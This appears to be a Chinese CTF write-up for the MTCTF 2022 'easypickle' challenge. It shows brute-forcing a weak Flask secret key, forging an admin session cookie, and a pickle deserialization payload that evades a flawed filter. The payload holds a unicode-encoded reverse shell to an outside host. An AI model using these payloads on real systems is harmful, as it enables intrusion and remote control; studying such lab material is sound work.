[MTCTF 2022]easypickle

发布时间:2023年12月22日

题目给了源码

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

分析一下,给出SECRET_KEY的生成方法;/路由下会检测session是否存在user的键名,如果没有则从admin五个字符中随机复制五个并输出;/admin路由下判断是否为admin如果是则先进行关键字替换和if判断,然后pcikle反序列化

我们不妨先看下密钥是如何生成的
在这里插入图片描述可以发现是生成四位的随机字符串
那么我们想要伪造cookie就要知道密钥,这里借助工具flask-unsign用密钥字典去爆破得到密钥

我们先生成对应的密钥字典(加上双引号方便使用)

import os

file_path='./key.txt'
with open(file_path, 'w') as f:
    for i in range(1,9999):
        key = os.urandom(2).hex()
        f.write("\"{}\"\n".format(key))

将字典复制到该工具文件夹下,爆破出密钥
(PS: 如果没爆破出来重新生成字典再跑)
在这里插入图片描述然后加密一下

python flask_session_cookie_manager3.py encode -s "8d4a" -t "{'user':'admin'}"

我们访问/admin然后抓包修改cookie,成功访问
在这里插入图片描述
然后分析一下如何pickle反序列化

try:
	a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
	if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
		raise pickle.UnpicklingError("R i o b is forbidden")
	pickle.loads(base64.b64decode(session.get('ser_data')))
	return "ok"
except:
	return "error!"

首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化

这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode

payload

opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''

//pickletools转换一下
    0: (    MARK						先传入一个标志到堆栈上,
    1: S        STRING     'key1'		给栈添加一行string类型数据key1
    9: S        STRING     'val1'		给栈添加一行string数据val1
   17: d        DICT       (MARK at 0)	将堆栈里面的所有数据取出然后组成字典放入堆栈
   18: S    STRING     'vul'			放入一个string类型数据vul
   25: (    MARK						再传入一个标志
   26: c        GLOBAL     'os system'	c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
   37: V        UNICODE    'calc'		读入一个字符串,以\n结尾;然后把这个字符串压进栈中
   43: o        OBJ        (MARK at 25)	o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
   44: s    SETITEM						从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
   45: .    STOP

因为反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中

运行下脚本

import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))

得到payload,然后伪造cookie即可
在这里插入图片描述
访问/admin抓包,修改cookie
反弹成功
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135159032
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。